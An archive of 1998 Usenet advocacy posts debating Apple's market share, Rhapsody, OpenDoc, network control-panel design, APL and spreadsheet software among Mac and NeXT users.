In article <6i4sg4$mb9@mozo.cc.purdue.edu>, pomart@cartoon.ecn.purdue.edu
(Your Name) wrote:
| Jonathan W Hendry <jhendry@shrike.depaul.edu> writes:
|
| >http://www.news.com/News/Item/0,4,21540,00.html?st.ne.fd.gif.d
|
| >IDC sez Apple's US marketshare went from 3.4% in Q497, to
| >4.0% in Q198.
|
| >Not much, but I'll take it...
|
| >- Jon
|
| NOT MUCH!? ARE YOU KIDDING ME? It's a 18% increase. It's quite
| much to tell you the truth. At this rate Apple will be #1 in terms of market
| share in a year or two!
Uh, more objectively it's a .6% (point six) increase. Percentage increase
of a percentage figure is not a generally meaningful stat.
Cheers,
Jayfar
--
Jay Farrell Jayfar's Original Virtual Macintosh
jayfar@netaxs.com * Your Favorite Mac Site * Now Updated Daily *
Philadelphia, USA <URL:http://www.netaxs.com/~jayfar/live.desk.html>
Jayfar's APPLE DOOMSDAY CLOCK <URL:http://www.netaxs.com/~jayfar/>
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 28 Apr 98 13:02:02 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B16B83D5-DD1F0@207.217.155.101>
References: <6i56gt$8bb$1@news.xmission.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.earthlink.net/comp.sys.next.advocacy
Don Yacktman wrote:
>Consider this: even if the smaller, existing Rhapsody vendors have better
>products than MS Office and the other "standards" out there, it won't
matter
>AT ALL to the corporations Apple wants to sell Rhapsody to. For them, MS
>Office is a line item. "Mesa can read/write Excel files" won't cut it.
The
>business users will say, "yes, but that's NOT Excel. Next!" You have to
be
>able to say, "we have Excel, if you really want that. We have better,
too."
Certainly true if the only games worth playing in this industry are the
ones that dominate. If more developers appeared reasonably satisfied to
make a good return on their investments even with negligable market share,
we wouldn't have the above problem. With Internet commerce and the
Internet's ability to connect developers to customers, niche players _can_
be successful if they don't measure their success against unattainable
benchmarks. Put another way, is this gambling or is this business?
The problem about which I truly sympathize with Rhapsody developers is the
platform. Rhapsody is very cool. I am sure Rhapsody developers consider it
as cool as I consider OpenDoc. Apple is a "big game" player, and the
platform is Apple's whim. Been there, done that. Rhapsody developers need
to sell their products to your clients on their products' own merits. If
you pin your success to Apple's Rhapsody plans more than necessary, your
success will be cut short if Apple changes course or just stops course. And
if you then abandon a customer base that can continue to support your
product because "XXX is dead", where are you then?
Just some thoughts...
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: 28 Apr 1998 15:40:20 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6i4t94$mog$1@ns3.vrx.net>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu>
<jayfar-2804981604340001@chestnut1-38.slip.netaxs.com>
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Cc: jayfar@netaxs.com
In <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> Jayfar claimed:
> Uh, more objectively it's a .6% (point six) increase. Percentage increase
> of a percentage figure is not a generally meaningful stat.
One is forced to assume you've never done stats in a clinical or scientific
setting.
Maury
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: Tue, 28 Apr 1998 15:42:31 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-2804981542310001@130.130.117.53>
References: <35433ec7.0@news.together.net> <6i2nmi$k8i$1@new-news.cc.brandeis.edu> <6i3fc7$cj3$1@hercules.acsu.buffalo.edu> <6i4mq0$ec6$1@new-news.cc.brandeis.edu> <6i588v$o1f$1@joxer.acsu.buffalo.edu>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <6i588v$o1f$1@joxer.acsu.buffalo.edu>,
scholl@joxer.acsu.buffalo.edu (Edward P Scholl) wrote:
:: >: e) Have to click the "OK" button in the Network control panel in order for
:: >: ANY changes you just made to any client, protocol, or interface to be
:: >: saved, if you click in the close button in the top of the Network control
:: >: panel it CLOSES WITHOUT SAVING, and doesn't ask you. A good tip off you
:: >: did this is if you notice you don't have to restart.
:: >
:: >gee. imagine that. if you have such a problem with that, try the "return"
:: >key instead.
:
:: I'M NOT COMPLAINING THAT I DON'T KNOW HOW TO DO IT. You, and the rest of
:: the unwashed masses, are stewing in your own juices as long as you
:: continue to put up with this brain dead lack of common interface sense.
:: It would do you a lot of good to COMPLAIN more about this. Sure, it
:
:complain about what?!!? when the settings are what i want, i click ok.
:when they are not what i want, and i want to exit, i click cancel. it's
:just a difference in the way the 2 systems work. i think this is your
:weakest argument, and you are so adament about it!
The fact that closing a modified window does not bring up a dialog box
saying "are you sure you want to lose all changes?" is a sign that the
operating system had little or no QA. That you think it is a weak argument
just shows how little you know about program design. There is a reason
that there are buttons lableled cancel and ok. The close box is a separate
UI element that allows the exiting of a T/F test with a null value.
Allowing a method of exiting in a non deterministic way is wrong. Moreover
no application should every ignore user input without informing the user.
It may in fact be the users intent to have the data discarded but that is
not the programmers decision. Having that as the default is plain wrong.
This is basic application development 101 stuff.
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
Message-ID: <354656C8.5FC4@ultranet.ca>
Date: Tue, 28 Apr 1998 15:21:53 -0700
From: Alan Baker <Alan_spamMeNot_Baker@ultranet.ca>
Organization: bakerMEDIA
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net> <6i2nmi$k8i$1@new-news.cc.brandeis.edu> <6i3fc7$cj3$1@hercules.acsu.buffalo.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Edward P Scholl wrote:
>
> Nathan G. Raymond (xray@cs.brandeis.edu) wrote:
> : I have a few things to say:
> : a) 14 IRQs - some new machines are shipping with 0 free, and if you have a
> : conflict on any machine and need to manually set an IRQ, any future plug
> : and play devices can't be automatically allocated by Windows (why do you
>
> it can be automatically allotted- just might not work. =)
>
> : need IRQ/DMA? Because ISA doesn't have the bandwidth to handle modern
>
> why do you need irq's? the same reason you need them on a mac. why do
> you need dma? find out what the acronym stands for and it might give you
> a clue.
>
> : cards like sound and ethernet unless the cards work around the
> : architecture limitations)
>
> : b) Cluttered interface - if a user actually wants to change a setting, or
> : add a network protocol/adapter/client, they are in for some fun.
> : Powerful interface, yes, sensical, far from it... I won't even get into
> : this.
>
> not sensical to add a network protocol? lets see, if memory serves me right,
> you open up the network control panel, click "add", click "protocol". if
> that doesn't make sense to you...
>
> : d) Import/Export - out of luck (AFAIK)
>
> import/export what?
>
> : c) Restart every time something in the Network control panel is changed -
> : makes you want to scream if you deubgging settings/network connection,
> : doesn't it?
>
> uhhh, last i knew, ip addresses on mac's couldn't be dynamically changed.
> might be different now. they can be on win95.
>
> : e) Have to click the "OK" button in the Network control panel in order for
> : ANY changes you just made to any client, protocol, or interface to be
> : saved, if you click in the close button in the top of the Network control
> : panel it CLOSES WITHOUT SAVING, and doesn't ask you. A good tip off you
> : did this is if you notice you don't have to restart.
>
> gee. imagine that. if you have such a problem with that, try the "return"
> key instead.
>
> : For a good example of how all the above ought to work, use OpenTransport
> : in the MacOS.
>
> yeah right.
>
> -ed
I agree that Open Transport needs an overall configuration manager
_badly_.
Sorry, but even if the networking architecture is more robust, I just
won't defend bad interface design --- _especially_ from Apple.
--
Alan Baker
bakerMEDIA
Alan_spamMEnot_baker@ultranet.ca
(just one underscore between the names please)
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net> <6i0vid$ncp$1@garnet.nbnet.nb.ca> <3544a6b7.0@news.together.net> <geordie-2804981302360001@130.130.117.53>
Subject: Re: first post
Date: Tue, 28 Apr 1998 19:07:26 -0400
Message-ID: <35465b8f.0@news.together.net>
Organization: Together Networks - Burlington, VT.
Geordie Korper wrote in message ...
>In article <3544a6b7.0@news.together.net>, "Lance Togar" <ltogar@msn.com>
wrote:
>
>:No need for this with WIN95. You got it, *no* mouse clicks and *no* IP
>:numbers to enter. When do you think the Mac'll catch up? Oooops, I forgot,
>:it's Rhapsody... isn't it... or maybe the lavender box. Anyway, it's
coming
>:real soon now. BTW, would you care to explain what a "search domain" is?
>
>And if you want to use BootP DCHP MACIP or RARP on the mac it works like
>that as well. Many people have actual domains that they permanently a part
>of and require that the machine have a unique asigned address and that the
>machine know what the domain it is in so that you can use addresses like
>someotherhost instead of someotherhost.mydomain.com. That is called the
>search domain.
>
..
This sort of name resolution is generally passed out by a Unix (W/Samba) or
NT machine via hosts/lmhost or DHCP. The latest DHCP will even do it
dynamically. I've just never heard it termed as search domain but thanks for
the explaination.
..
..
From: fretwiz@ix.netcom.com (fretwiz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: Tue, 28 Apr 1998 16:27:04 -0600
Organization: Netcom
Message-ID: <fretwiz-2804981627050001@den-co53-38.ix.netcom.com>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <6i4t94$mog$1@ns3.vrx.net>
In article <6i4t94$mog$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> Jayfar claimed:
> > Uh, more objectively it's a .6% (point six) increase. Percentage increase
> > of a percentage figure is not a generally meaningful stat.
>
> One is forced to assume you've never done stats in a clinical or scientific
> setting.
>
> Maury
I don't think we need to assume....
From: me@venetia.pgh.pa.us
Newsgroups: comp.sys.next.advocacy,comp.sys.next.software
Subject: Re: Quantrix/Excel/Improv
Date: 28 Apr 1998 23:37:35 GMT
Organization: Pittsburgh OnLine, Inc.
Message-ID: <6i5p7v$d3f$1@dropit.pgh.net>
References: <01HW.B167D79D0001F08506719BD0@news.tiac.net> <35455378.0@news.dca.net>
dwright@universal.dca.net (Darren Wright) wrote:
>
> Too bad Quantrix is not available on Windows hunh? Excel still
sucks bad.
There is Improv for Windows. Improv on NeXT was always better than
Quantrix for what I needed to do. Improv for Windows is very similar
with a few important weaknesses; eg, you can't do semi-log charts in
less than multiples of full cycles. On the other hand, you have a
lot more flexibiltiy for marking dates on charts of time series.
-----
Bob Peirce Venetia, PA 724-941-6883
me@venetia.pgh.pa.us [HOME (NeXT)] rbp@investor.pgh.pa.us [OFFICE]
There is only one basic human right, the right to do as you damn well
please. And with it comes the only basic human duty, the duty to take
the consequences. -- P.J. O'Rourke
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 28 Apr 1998 18:39:18 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6i57om$ms$3@ns3.vrx.net>
References: <6i56gt$8bb$1@news.xmission.com> <B16B83D5-DD1F0@207.217.155.101>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: brad@hutchings-software.com
In <B16B83D5-DD1F0@207.217.155.101> "Brad Hutchings" claimed:
> if you then abandon a customer base that can continue to support your
> product because "XXX is dead", where are you then?
Same place you are. Seeing as this hasn't happened though, it's FUD.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 28 Apr 1998 18:38:15 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6i57mn$ms$2@ns3.vrx.net>
References: <6i56gt$8bb$1@news.xmission.com> <B16B7E73-20EF1@206.165.43.14>
Mime-Version: 1.0
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Cc: english@primenet.com
In <B16B7E73-20EF1@206.165.43.14> "Lawson English" claimed:
> I know that you guys hate the words "Ellen Hancock,"
We do? I thought she was great.
> but it is interesting
> that at one point they planned on addressing ALL the issues about 3rd-party
> support by creating a Yellow Box API to allow for OpenDoc parts to work
> with both Rhapsody/Yellow Box AND MacOS Sytem 7.x.
a) I don't believe this due to any number of technical reasons, most notably
that almost all OD parts make direct calls to the MacOS, which would not be
available under YB.
b) it's a dumb idea from an OOPS point of view
Basically all the OD parts would have to be rewritten to these neutral
API's (something the parts vendors didn't do anyway) for the dubious ability
to have them run on an OOPS framework on an OOPS framework.
Personally I give this "rumor" no credecne at all.
> As it stands, providing YB support means that one forsakes 1/2 of ALL
> current MacOS users.
As it stands. When OD shipped the equasion was largely similar.
> Think about it for a little while before you flame:
Ok I have. This would bring something on the order of 50 shareware quality
apps to the YB, and a few others. Dubious advantages at best.
Maury
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: AAPL Radar: Sony, Matsushita Ahead!
Date: 28 Apr 1998 23:42:15 GMT
Organization: @Home Network
Message-ID: <6i5pgn$6ae$1@ha2.rdc1.sdca.home.com>
References: <rmcassid-2404981032190001@dante.eng.uci.edu> <6hqtba$eed$3@ha2.rdc1.sdca.home.com>
<6hr2p6$37i$1@pith.uoregon.edu> <edewEs351v.Ms2@netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: edew@netcom.com
In <edewEs351v.Ms2@netcom.com> Eric Dew wrote:
> In article <6hr2p6$37i$1@pith.uoregon.edu> Wesley Horner
<wesman@azrael.uoregon.edu> writes:
> Emulating GM is the stupidest thing any company can do. NT and its master,
> Microsoft will soon make a big misstep (if not already). MS, in five years,
> will be an internet-only company, if other software competitors (e.g.,
Apple)
> know how to take advantave of the situation. BTW, just how well is SONY's
> visio or whatever doing in the computer business?
>
>
Is that like What's good for GM is good for American circa 60's? YeAH... that
was the stupidest thing any company has ever said, I think. If NT mis-steps?
It'll make GM's stupid mistake pale. I'd like to think the market will move
away from MS faster than MS can "innovate" :-).
SONY's visio or whatever? Is that germain to the merger? I'd like to think
that Apple brings that piece to the table. I'd say the stumbling block to any
merger is getting Steve to commit to anything beyond "interim". Without SJ
the deal is probably a DOA.
-r
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 28 Apr 1998 23:55:18 GMT
Organization: @Home Network
Message-ID: <6i5q96$6ae$2@ha2.rdc1.sdca.home.com>
References: <199801202218001457904@ppp8.hol.fr> <6fmtdo$qr7$1@quasar.dimensional.com>
<351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net>
<6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net>
<6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com>
<6ggn3g$1kt$6@quasar.dimensional.com> <6ggsgj$fit$9@anvil.BLaCKSMITH.com>
<6gh9i2$oop$8@ironhorse.plsys.co.uk> <6gis4a$6j$3@anvil.BLaCKSMITH.com>
<6gm8ou$hom$4@quasar.dimensional.com> <6gq9kh$oop$22@ironhorse.plsys.co.uk>
<6gunnn$4m9$6@quasar.dimensional.com> <6hg009$57p$10@ironhorse.plsys.co.uk>
<slrn6jo9po.q17.sal@panix3.panix.com> <3540A8F9.3D04B398@cs.purdue.edu>
<slrn6k44k2.pe0.sal@panix3.panix.com> <6hvvsf$m83$1@ha2.rdc1.sdca.home.com>
<slrn6k9b3q.5s5.sal@panix3.panix.com>
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Cc: sal@panix3.panix.com
In <slrn6k9b3q.5s5.sal@panix3.panix.com> Salvatore Denaro wrote:
> On 26 Apr 1998 18:54:07 GMT, Rex Riley <rriley@yahoo.com> wrote:
> >In <slrn6k44k2.pe0.sal@panix3.panix.com> Salvatore Denaro wrote:
> >> And has anyone else ever had to learn/use APL? Now that is a ugly
> >> language. It looks like a language Salvador Dali would design...
> >Telecommunications switches worldwide use APL or it's derivitives and
> >Financial guru's on the Street hack APL algorithymics. It has its uses...
>
> I never claimed it wasn't useful, just that it looked odd and ugly.
> I said the same about perl, a language that I use very often, despite
> its self encrypting nature.
>
> I might have found APL much nicer if the symbols it used were closer to
> the ones I used in my math classes, rather than those runes. Or if I had
> a teacher that spent time on how it was usful, rather than how "gee-wiz
> you can manipulate matrices so easily in APL..."
>
>
My professor broke the entire classes balls on APL (circa 1973). One simple
compiler needed to analyse an expression and output correct values. Dead
simple,right... Two of us got it, the rest hacked RPN for a less elegant
optional solution. It required 13 lines of APL, or 200+ RPN. Steep, steep
learning curve but oh what a tool... semantics and syntax phoof! All you
gotta get are all your runes lined up pointing in the right directions :-)
-r
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: 29 Apr 1998 00:27:52 GMT
Organization: @Home Network
Message-ID: <6i5s68$6ae$3@ha2.rdc1.sdca.home.com>
References: <6hj4s6$61q@news.nd.edu> <01bd6d64$7b8394e0$04387880@test1>
<6hints$99c$1@ns3.vrx.net> <6hjkpg$cc$3@ha2.rdc1.sdca.home.com>
<6hk9r4$ga7$1@ns3.vrx.net> <6hl31j$8an$1@ha2.rdc1.sdca.home.com>
<6hklh0$oit$1@ns3.vrx.net> <6hm81r$bc9$1@ha2.rdc1.sdca.home.com>
<rmcassid-2304981210470001@dante.eng.uci.edu> <6hp6fb$oh3$5@ha2.rdc1.sdca.home.com>
<rmcassid-2404981024090001@dante.eng.uci.edu> <6hrp9u$j3g$3@ha2.rdc1.sdca.home.com>
<rmcassid-2704980939540001@dante.eng.uci.edu>
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In <rmcassid-2704980939540001@dante.eng.uci.edu> rmcassid@uci.edu wrote:
> In article <6hrp9u$j3g$3@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
[less interesting stuff snipped]
> >Time's running out. Put up or shut up for SJ and the boys. They better
have
> >iron behind that Rhapsody ServerOS or Sun, HP and IBM advertising accounts
> >will eat them in the media like toasted snail meat, ala Escargot.
> >
> >This isn't some small time niche they've bit off for themselves. Alot is
at
> >stake, since Server Performance defines the capabilities of a company's
> >products. It didn't help going out and having a public BBQ and not inviting
> >their cross-platform friends.
>
> So what's your guess:
>
> 1) New high performance hardware straight out of Cupertino?
> 2) Rhapsody running on IBM iron?
> 3) New alliance with an SGI, etc?
>
>
I don't have any guesses. Historically, Steve Jobs has been a hardware
perfectionist. Companies he has been involved with have put out "state of the
art_ hardware. New hardware released under his tutelage has been "ground
breaking" flops. But Oh the second iteration...
Steve said once Big iron from a corporate "productivity" standpoint was the
best solution (ala workgroup solutions). I would be surprised if the second
Blue Affair failed as fabulously as pre-Taligent and especially now. IBM is
working Java HARD and maybe Rhapsody Java API would save them time and money
ala Taligent :-)
None of the alliances really worked out for OPENSTEP. Why would they hold
under Rhapsody any better? I'm not against SGI... the laisez-faire alliance
route hasn't impressed me, yet. Maybe as you said they have .apps and Apple
has market - your basic chicken and egg dilemna ± solved.
> >> Can they do it? I'm giving Apple a *lot* of credit now for having
overcome
> >> problems of old, but this is something else altogether.
> >
> >Welcome to the 2nd Coming... this ain't about fixing!
>
> But can they do it alone?
>
>
They can... Something on the order of magnitude of all the planets in perfect
alignment for 2 years! Even with everything going Apple's way, the Steve
factor is emerging a necessity. A "Gil A." in SJ shoes isn't going to get the
belief, confidence and Chutzpa of Steve. This scenario is a 30%'er in my
playbook and plan C last resort.
Plan A is SONY. Plan B is a tangenital choice like Lucent Technologies. Then
break-up Apple into pieces that fit the new BusinessPlan. In the case of
Lucent, hardware could spin-off . But heh, I don't have the reigns, financials
and vision of SJ. So I suppose we all better look for our parachutes :-)
seatbelts fastened, tray tables-up, backrests in full and upright position...
check your exits
-r
From: pgf@globalreach.net
Newsgroups: comp.sys.next.advocacy,comp.sys.newton.misc
Subject: Re: The Newton
Date: Tue, 28 Apr 1998 20:42:25 -0600
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6i60i3$b4s$1@nnrp1.dejanews.com>
References: <slrn6jdm7b.3u2.sal@panix3.panix.com> <B15C60A6-226FF@206.165.43.169> <3536F06A.D23EA427@ix.netcom.com> <slrn6jk5no.rln.sal@panix3.panix.com> <6hufep$qu0$1@hades.csu.net>#1/1
In article <6hufep$qu0$1@hades.csu.net>#1/1,
root@zippy.sonoma.edu (Thomas Poff) wrote:
>
> 'twould be be great to see them build a $200 Openstep-enabled device with
> web, email and Openstep framework subset built in via a gate-level
> implementation. Without question it could be done if you pulled
> all of the tricks out of the bag [i.e. a weenie processor, display, some
> memory and a 500,000 gate ASIC packed with framework implementation].
>
> A topic of constant wonder for me... since YellowBox is more ripe for
> the plucking than any Java framework out there.
>
> You could call such a chipset a Newton or anything else you wanted to.
> Or for the marketing impaired a 'Mac Toolbox on steroidz.' The big
> win would be that compared to 'wince' it's infinitely
> cheap, infinitely licensable and not currently replicatable by uSoft or
> any of it's partners.
What does "infinitely licensable" mean? Especially given what happened
to the last pack of people who licensed the MacOS from Apple?
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: Alan Baker <Alan_Baker@nospam.ultranet.ca>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: Tue, 28 Apr 1998 18:33:41 -0800
Organization: bakerMEDIA
Message-ID: <35469184.2000@nospam.ultranet.ca>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com>
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Jayfar wrote:
>
> In article <6i4sg4$mb9@mozo.cc.purdue.edu>, pomart@cartoon.ecn.purdue.edu
> (Your Name) wrote:
>
> | Jonathan W Hendry <jhendry@shrike.depaul.edu> writes:
> |
> | >http://www.news.com/News/Item/0,4,21540,00.html?st.ne.fd.gif.d
> |
> | >IDC sez Apple's US marketshare went from 3.4% in Q497, to
> | >4.0% in Q198.
> |
> | >Not much, but I'll take it...
> |
> | >- Jon
> |
> | NOT MUCH!? ARE YOU KIDDING ME? It's a 18% increase. It's quite
> | much to tell you the truth. At this rate Apple will be #1 in terms of market
> | share in a year or two!
>
> Uh, more objectively it's a .6% (point six) increase. Percentage increase
> of a percentage figure is not a generally meaningful stat.
>
> Cheers,
> Jayfar
Uhhuh. _Objectively_ their sales went from x million dollars to (4/3.4)x
million dollars...
...or 18% growth in sales.
Cheers back at ya!
Alan
From: "Zico" <ZicoKnows@hotmail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: Wed, 29 Apr 1998 03:39:05 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <6i6lf1$45a$1@supernews.com>
References: <6hu2fp$sve$1@xmission.xmission.com> <B1682DB8-4B386@206.165.43.167> <6i0usm$aj7$1@news.digifix.com> <6hvsrr$8mm$1@supernews.com> <6i1pn9$bll$7@ironhorse.plsys.co.uk> <6i1taa$7rr$1@supernews.com> <6i23f2$bll$12@ironhorse.plsys.co.uk>
x-no-archive: yes
mmalcolm crawford wrote:
>Zico wrote:
>> >> An Adobe spokeswoman said that Adobe backed off it.
>> >>
>> >URL of a statement from an *official* *named* *senior* Adobe exec...?
>> You've seen the URL. It's from an Adobe spokeswoman. Spokespeople
>> are usually the ones who make public statements, not senior execs.
>> Ask the TechWeb writer what the spokeswoman's name is.
>>
>I'll take something attributable in preference, thanks.
I emailed the author--if I ever hear back, I'll post the info.
>Besides others have said (and I don't have a URL, I would like one if someone
>has one to hand) that someone else from Adobe subsequently revised the
>statement.
I'd like to see the URL, too. To this point, it seems like its existance
is believed simply because it's been repeated so often. Kinda like
how Michael Jackson somehow became the King of Pop.
>Over and above all this, I would take the presence of Adobe engineers at a
>recent Rhapsody developer camp to be a case of actions speaking louder than
>words.
Microsoft has sent people to OMG events over the years, despite
it being obvious that they're going with COM/COM+ over CORBA.
>> >You haven't been following long enough...
>>
>> Sure I have. You just posted the URL of an article that's over
>> a year old.
>>
>You said:
>
>"Since I've been following the situation, nobody has ever
>produced a URL pointing to Adobe's Rhapsody support.
>Only a number of posters claiming that Adobe has
>announced Rhapsody support, but NEVER providing
>evidence."
>
>I provided evidence, and a URL. Why are you now shifting the goalposts?
>Or were you being deliberately disingenuous first time round.
C'mon mmalc, I really hope you misunderstood me instead of
thinking that I'm being disingenuous here. When I refer to the
"situation," I'm talking about Adobe's backing off of Rhapsody,
not that I've been following the entire history of Adobe's
Rhapsody strategy or lack thereof.
If you think I'm now shifting my definition of the "situation,"
consider: I think it's obvious throughout this thread that my
position is that Adobe is backing off of Rhapsody. For this to
be the case, it would have to be true that they originally had
plans for Rhapsody. Otherwise, there's nothing to back off of.
It's been my position that Adobe thought (incorrectly or not)
that Rhapsody was going to be a replacement for the MacOS,
sooner rather than later. When to them it started looking
like Rhapsody wasn't going to be the mainstream OS for
Apple computers after all, that's when they started backing off.
Z
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 29 Apr 1998 00:46:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B16C28BE-FF3D@206.165.43.98>
References: <1d87ua9.1hw5wjn1ui9hdiN@carina24.wco.com>
nntp://news.primenet.com/comp.sys.next.advocacy
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Mike Paquette <mpaque@wco.com> said:
> Lawson English <english@primenet.com> wrote:
> > mmalcolm crawford <malcolm@plsys.co.uk> said:
> > > So how come you never believe anything Mike Paquette tells you?
> >
> > Because I'm not always sure that he and I are talking about the same
> thing.
>
> Imagine my suprise...
Bad hair day?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: Tue, 28 Apr 1998 22:25:21 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d87ua9.1hw5wjn1ui9hdiN@carina24.wco.com>
References: <6hlrvl$q9q$1@nnrp1.dejanews.com> <353ea292.0@news.depaul.edu> <see-below-2204982044230001@209.24.241.227> <B164DB39-6C834@206.165.43.25> <joe.ragosta-2304981555560001@wil124.dol.net> <354185ca.0@news.camtech.net.au> <slrn6k4t6v.5e0.mbkennel@lyapunov.ucsd.edu> <3543eebe.0@news.camtech.net.au> <B1697D67-1951D@206.165.43.144> <6i1ppg$bll$8@ironhorse.plsys.co.uk> <B16A0007-10066@206.165.43.105> <6i2e15$bll$17@ironhorse.plsys.co.uk> <B16A6E9E-90363@206.165.43.16> <6i461i$bll$18@ironhorse.plsys.co.uk> <B16B7C3B-18975@206.165.43.14>
Lawson English <english@primenet.com> wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> said:
> > So how come you never believe anything Mike Paquette tells you?
>
> Because I'm not always sure that he and I are talking about the same thing.
Imagine my suprise...
Mike Paquette
mpaque@wco.com
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: is allegro going to be optimized for the G3?
Date: 29 Apr 1998 00:50:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B16C29C1-13C12@206.165.43.98>
References: <tim-2604982244220001@jump-k56flex-1061.jumpnet.com>
nntp://news.primenet.com/comp.sys.mac.advocacy
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Tim Olson <tim@jumpnet.com> said:
> In article <gierkeNOSPAM-2604981915400001@pm1-32.ile.infi.net>,
> gierkeNOSPAM@delaware.infi.net (Patrick William Gierke) wrote:
>
> | Whether or not Allegro is optimized for the G3 specifically is not an
> | issue. What's really great about it is that it is optimized for the
> | PowerPC RISC set. No more 68k emulation in the Quickdraw routines!!
>
> Quickdraw has been PowerPC native since the first PowerMacs shipped; it
> was the prime "low hanging fruit" to pick when choosing which routines to
> first code in PowerPC.
Yep. OTOH, it is possible that the CPU-neutral C code that was used for the
latest builds of QuickDraw wasn't as fast as it could be.
The 10% speedup claim sounds about right. I gotta wonder why they bothered
for only 10% though. There must be more going on then just a simple
rewrite. You don't do that for 10%. And support for anti-aliased text
wouldn't require a complete rewrite either, as far as I can tell.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: is allegro going to be optimized for the G3?
Date: Sun, 26 Apr 1998 22:44:22 -0500
Organization: Jump Point Communications, Inc.
Message-ID: <tim-2604982244220001@jump-k56flex-1061.jumpnet.com>
References: <6hv7e1$tq4$1@nnrp1.dejanews.com> <gierkeNOSPAM-2604981915400001@pm1-32.ile.infi.net>
In article <gierkeNOSPAM-2604981915400001@pm1-32.ile.infi.net>,
gierkeNOSPAM@delaware.infi.net (Patrick William Gierke) wrote:
| Whether or not Allegro is optimized for the G3 specifically is not an
| issue. What's really great about it is that it is optimized for the
| PowerPC RISC set. No more 68k emulation in the Quickdraw routines!!
Quickdraw has been PowerPC native since the first PowerMacs shipped; it
was the prime "low hanging fruit" to pick when choosing which routines to
first code in PowerPC.
--
-- Tim Olson
Message-ID: <3546D280.2588@ultranet.ca>
Date: Wed, 29 Apr 1998 00:10:07 -0700
